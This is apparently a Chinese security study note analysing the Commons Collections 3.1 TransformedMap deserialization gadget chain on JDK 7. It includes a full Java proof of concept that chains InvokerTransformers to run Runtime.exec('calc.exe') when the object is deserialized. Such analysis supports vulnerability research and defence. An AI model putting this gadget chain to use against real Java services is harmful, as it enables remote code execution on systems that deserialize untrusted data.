测试环境
jdk1.7(jdk7u80)
Commons Collections3.1
TransformedMap
transfomedMap利用相对没那么繁琐,首先找到transformedMap类中调用transform()方法的地方,总共有三处,poc中利用的是这一处
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
结合AnotationinvocationHandler的readobject()方法来看,这里的var5是可控的可以通过反射的方式将transfomedMap赋值给this.memberValues,之后获取transformedMap的迭代器(iterator()),TransformedMap没有过重写这个方法,这时实际是获取的它的父类transformedMap的迭代器
setValue调用的是transformedMap的父类中的setValue方法,父类中的setValue会调用checkSetValue触发核心利用链。
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
父类中的this.parent是怎么变成transformedMap的?
Readobject():
Iterator var4 = this.memberValues.entrySet().iterator();
transformedMap会调用父类的entrySet()把自己传入赋值给this.parent:
编写POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class transformedPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer chainTransformer = new ChainedTransformer(transforms);
Map map = new HashMap();
map.put("value", "suibian");
//map中的key值必须为value是为了符合readObject中的if(var7!=null)的条件
Map transformedMap = TransformedMap.decorate(map, null, chainTransformer);
Class classInstance = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = classInstance.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(annotationInvocationHandler);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
}
}
Poc中的map为什么要添加一对键值对值为{“value”,”suibian”}?
Key值必须为value因为readObject中要符合if(var7!=null)这个条件才能运行到var5.setValue这行代码,通过调试var3为Target中的方法,Target中只有一个方法value(),var6获取的是map的key值“value”,这样Class var7=(Class)var3.get(var6),var7就不为空且符合下一个if的判断。